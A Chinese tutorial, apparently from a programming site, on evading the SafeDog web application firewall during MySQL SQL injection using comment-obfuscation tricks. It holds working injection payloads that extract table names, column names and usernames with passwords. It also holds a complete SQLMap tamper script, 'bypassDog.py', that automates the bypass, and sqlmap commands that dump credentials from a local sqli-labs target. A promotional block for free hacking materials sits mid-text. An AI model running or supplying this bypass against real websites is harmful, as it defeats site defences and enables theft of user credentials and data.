教你編寫(xiě)SQLMap的Tamper腳本過(guò)狗
測(cè)試環(huán)境
最新版某狗
測(cè)試方法
安全狗其實(shí)是比較好繞的WAF,繞過(guò)方法很多,但這里我們就用一種:注釋混淆
一招鮮吃遍天
注釋混淆,其實(shí)就是在敏感位置添加垃圾字符注釋?zhuān)S玫睦址?code>/、!、*、%等
這里再解釋一下內(nèi)聯(lián)注釋,因?yàn)楹竺嬉玫剑?/p>
MySQL內(nèi)聯(lián)注釋?zhuān)?/*!xxxxxxx*/
!后面的語(yǔ)句會(huì)當(dāng)作SQL語(yǔ)句直接執(zhí)行
但是如果!
后面跟著MySQL版本號(hào),那么就會(huì)出現(xiàn)兩種情況
當(dāng)!
后面接的數(shù)據(jù)庫(kù)版本號(hào)小于自身版本號(hào),就會(huì)將注釋中的內(nèi)容執(zhí)行當(dāng)!
后面接的數(shù)據(jù)庫(kù)版本號(hào)大于等于自身版本號(hào),就會(huì)當(dāng)做注釋來(lái)處理。
幫助網(wǎng)安學(xué)習(xí),全套資料S信免費(fèi)領(lǐng)?。?br />① 網(wǎng)安學(xué)習(xí)成長(zhǎng)路徑思維導(dǎo)圖
② 60+網(wǎng)安經(jīng)典常用工具包
③ 100+SRC分析報(bào)告
④ 150+網(wǎng)安攻防實(shí)戰(zhàn)技術(shù)電子書(shū)
⑤ 最權(quán)威CISSP 認(rèn)證考試指南+題庫(kù)
⑥ 超1800頁(yè)CTF實(shí)戰(zhàn)技巧手冊(cè)
⑦ 最新網(wǎng)安大廠(chǎng)面試題合集(含答案)
⑧ APP客戶(hù)端安全檢測(cè)指南(安卓+IOS)
數(shù)據(jù)庫(kù)版本號(hào)以五位數(shù)字表示,比如當(dāng)前環(huán)境下數(shù)據(jù)庫(kù)版本號(hào)表示為:50553
!
后面接小于50553的:
執(zhí)行了select 1;
!
后面接大于等于50553的:
執(zhí)行了 select ;
下面進(jìn)入正題
bypass
and
and 1=1
攔
但是把空格刪掉就不攔了
所以,我們認(rèn)為,and后面不能直接跟空格…
那么如果用其他形式表示空格呢?
前面說(shuō)了,我們這次只使用注釋混淆:
burp,抓包設(shè)置
長(zhǎng)度5335是被攔截的
長(zhǎng)度為899的說(shuō)明成功繞過(guò)
我們選擇其中一個(gè)作為空格的替代者就好了,這里我們選擇/*%*
即:
->/*/*%**/
同理 ,or
是一樣的:
order by
測(cè)試發(fā)現(xiàn)還是只要替換order by
中間的空格就可以了,所以繞過(guò)方法和前面一樣:
union select
union select
使用之前的垃圾字符替換空格發(fā)現(xiàn)不行了:
但是先不急于換方法,再爆破一遍試試:
發(fā)現(xiàn)又有很多可以繞過(guò)的了。
所以我們?cè)俑囊幌绿鎿Q空格的垃圾字符, 這里選/*/!%!/*/
即:
->/*/!%!/*/
獲得當(dāng)前數(shù)據(jù)庫(kù)
正常語(yǔ)句:
?id=-1 union select 1,database(),3 --+
繞過(guò):
即:()
->(/*/!%!/*/)
獲取數(shù)據(jù)庫(kù)中的表
正常語(yǔ)句:
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
繞過(guò):
經(jīng)過(guò)測(cè)試發(fā)現(xiàn)攔截的是select + from + information_schema
的組合
中間加垃圾字符替換空格已經(jīng)不管用了,我們嘗試對(duì)關(guān)鍵字進(jìn)行混淆。
對(duì)information_schema
進(jìn)行混淆測(cè)試:
首先使用內(nèi)聯(lián)注釋?zhuān)l(fā)現(xiàn),這里的版本號(hào)不管寫(xiě)啥,都直接被攔。
考慮是檢測(cè)了select + from + /*! + information_schema
的組合
加個(gè)換行試試
還是不行…
那既然都換行了,那我們?cè)僭趽Q行前加一些垃圾字符:
如果我們直接插入垃圾字符,會(huì)當(dāng)作SQL語(yǔ)句執(zhí)行,所以前面還需要在垃圾字符前加個(gè)注釋?zhuān)梢允?
/**/
或#
或--+
但是經(jīng)過(guò)測(cè)試只有
--+
好用
有這么多可以繞過(guò)的,我們隨便選擇一個(gè),比如/*%/
這樣,最終語(yǔ)句如下:
?id=-1/*/!%!/*/union/*/!%!/*/select/*/!%!/*/1,group_concat(table_name),3/*/!%!/*/from/*/!%!/*//*!00000--+/*%/%0ainformation_schema.tables*/%20where%20table_schema=database(/*/!%!/*/)--%20+
獲取表字段
正常語(yǔ)句:
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
繞過(guò)語(yǔ)句:
?id=-1/*/!%!/*/union/*/!%!/*/select/*/!%!/*/1,group_concat(column_name),3/*/!%!/*/from/*/!%!/*//*!00000--+/*%/%0ainformation_schema.columns*/%20where%20table_name=0x7573657273--%20+
獲取字段信息
?id=-1/*/!%!/*/union/*/!%!/*/select/*/!%!/*/1,/*/!%!/*/group_concat(username,0x2f,password),3/*/!%!/*/from/*/!%!/*/users
成功。
編寫(xiě)tamper
當(dāng)我們下載了SQLMap,解壓后,我們可以找到文件夾【tamper】,該文件夾有很多個(gè)Tamper腳本幫助我們繞過(guò)一些安全防護(hù):
網(wǎng)上有很多相關(guān)腳本的介紹,我就不一一介紹了。
雖然SQLMap提供了這么多的Tamper腳本,但是在實(shí)際使用的過(guò)程中,網(wǎng)站的安全防護(hù)并沒(méi)有那么簡(jiǎn)單,可能過(guò)濾了許多敏感的字符以及相關(guān)的函數(shù)。這個(gè)時(shí)候就需要我們針對(duì)目標(biāo)的防護(hù)體系構(gòu)建相應(yīng)的Tamper腳本。
Tamper相當(dāng)于一個(gè)加工車(chē)間,它會(huì)把我們的Payload進(jìn)行加工之后發(fā)往目標(biāo)網(wǎng)站。
我們隨便打開(kāi)一個(gè)Tamper腳本看一下它的結(jié)構(gòu):
#apostrophemask.py #!/usr/bin/env python """ Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ # 導(dǎo)入SQLMap中l(wèi)ib\core\enums中的PRIORITY優(yōu)先級(jí)函數(shù) from lib.core.enums import PRIORITY # 定義腳本優(yōu)先級(jí) __priority__ = PRIORITY.LOWEST # 對(duì)當(dāng)前腳本的介紹 def dependencies(): pass ''' 對(duì)傳進(jìn)來(lái)的payload進(jìn)行修改并返回 函數(shù)有兩個(gè)參數(shù)。主要更改的是payload參數(shù),kwargs參數(shù)用得不多。 ''' def tamper(payload, **kwargs): """ Replaces apostrophe character (') with its UTF-8 full width counterpart (e.g. ' -> %EF%BC%87) References: * http://www.utf8-chartable.de/unicode-utf8-table.pl?start=65280&number=128 * https://web.archive.org/web/20130614183121/http://lukasz.pilorz.net/testy/unicode_conversion/ * https://web.archive.org/web/20131121094431/sla.ckers.org/forum/read.php?13,11562,11850 * https://web.archive.org/web/20070624194958/http://lukasz.pilorz.net/testy/full_width_utf/index.phps >>> tamper("1 AND '1'='1") '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871' """ return payload.replace('\'', "%EF%BC%87") if payload else payload
可見(jiàn)Tamper腳本的結(jié)構(gòu)非常簡(jiǎn)單,其實(shí)滲透測(cè)試中的主要難點(diǎn)還是如何去繞過(guò)WAF。
下面我們針對(duì)bypass部分的繞過(guò)方法進(jìn)行編寫(xiě)Tamper腳本,來(lái)實(shí)現(xiàn)自動(dòng)化SQL注入:
實(shí)際測(cè)試的時(shí)候發(fā)現(xiàn),sqlmap默認(rèn)語(yǔ)句中的
AS
關(guān)鍵字也會(huì)被攔截,這里也用同樣的方法替換一下就好
#!/usr/bin/env python import re from lib.core.settings import UNICODE_ENCODING from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def dependencies(): pass def tamper(payload, **kwargs): if payload: payload = payload.replace(" ","/*/!%!/*/") payload = payload.replace("()","(/*/!%!/*/)") payload = re.sub(r"(?i)(INFORMATION_SCHEMA.SCHEMATA)",r"/*!00000--%20/*%/%0aINFORMATION_SCHEMA.SCHEMATA*/",payload) payload = re.sub(r"(?i)(INFORMATION_SCHEMA.TABLES)",r"/*!00000--%20/*%/%0aINFORMATION_SCHEMA.TABLES*/",payload) payload = re.sub(r"(?i)(INFORMATION_SCHEMA.COLUMNS)",r"/*!00000--%20/*%/%0aINFORMATION_SCHEMA.COLUMNS*/",payload) payload = re.sub(r"(?i)(/AS/)",r"http://*!00000--%20/*%/%0aAS*//",payload) return payload
測(cè)試:
sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent
sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent --dbs
sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent -D security --tables
python2 sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent -D security -T users --columns
sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent -D security -T users -C username,password --dump --stop 3
到此這篇關(guān)于教你編寫(xiě)SQLMap的Tamper腳本過(guò)狗的文章就介紹到這了,更多相關(guān)SQLMap的Tamper腳本內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
SQL Server遠(yuǎn)程連接的設(shè)置步驟(圖文)
Sql Server 數(shù)據(jù)庫(kù)之間如何進(jìn)行跨網(wǎng)遠(yuǎn)程連接,本文就介紹SQL Server遠(yuǎn)程連接的設(shè)置步驟,文中根據(jù)圖文詳細(xì)介紹的十分詳盡,具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下2022-03-03SQL Server阻止保存修改表結(jié)構(gòu)的解決方法
修改DeUser表中列的數(shù)據(jù)類(lèi)型從varchar修改為int時(shí),進(jìn)行保存時(shí)彈出的提示框,阻止保存修改表結(jié)構(gòu),怎么辦?這篇文章就為大家詳細(xì)介紹了解決SQL Server阻止保存修改表結(jié)構(gòu)問(wèn)題的方法,感興趣的小伙伴們可以參考一下2016-05-05SQL Server中數(shù)學(xué)函數(shù)的用法
這篇文章介紹了SQL Server中數(shù)學(xué)函數(shù)的用法,文中通過(guò)示例代碼介紹的非常詳細(xì)。對(duì)大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友可以參考下2022-05-05如何使用Pycharm連接SQL?Sever(詳細(xì)教程)
這篇文章主要介紹了如何使用Pycharm連接SQL?Sever,本文通過(guò)圖文并茂的形式給大家介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友可以參考下2023-04-04SQLSERVER對(duì)加密的存儲(chǔ)過(guò)程、視圖、觸發(fā)器進(jìn)行解密(推薦)
這篇文章主要介紹了SQLSERVER對(duì)加密的存儲(chǔ)過(guò)程、視圖、觸發(fā)器進(jìn)行解密,本文通過(guò)實(shí)例代碼給大家介紹的非常詳細(xì),具有一定的參考借鑒價(jià)值,需要的朋友可以參考下2020-01-01SQL Server中的SELECT會(huì)阻塞SELECT嗎
這篇文章主要給大家介紹了SQL Server中的SELECT會(huì)阻塞SELECT的相關(guān)資料,文中通過(guò)示例代碼介紹的非常詳細(xì),需要的朋友可以參考借鑒,下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧2018-12-12基于SQL Server OS的任務(wù)調(diào)度機(jī)制詳解
本篇文章小編為大家介紹,基于SQL Server OS的任務(wù)調(diào)度機(jī)制詳解。需要的朋友參考下2013-04-04在sqlserver中如何使用CTE解決復(fù)雜查詢(xún)問(wèn)題
本文給大家介紹使用cte解決復(fù)雜查詢(xún)問(wèn)題,在此代碼中需要注意count函數(shù),它統(tǒng)計(jì)了一個(gè)列,如果該列在某行的值為null,將不會(huì)統(tǒng)計(jì)該行,本文代碼詳解并附有注釋?zhuān)信d趣的朋友一起看看吧2015-11-11Windows環(huán)境下實(shí)現(xiàn)批量執(zhí)行Sql文件
這篇文章主要介紹了Windows環(huán)境下實(shí)現(xiàn)批量執(zhí)行Sql文件的相關(guān)資料,需要的朋友可以參考下2021-10-10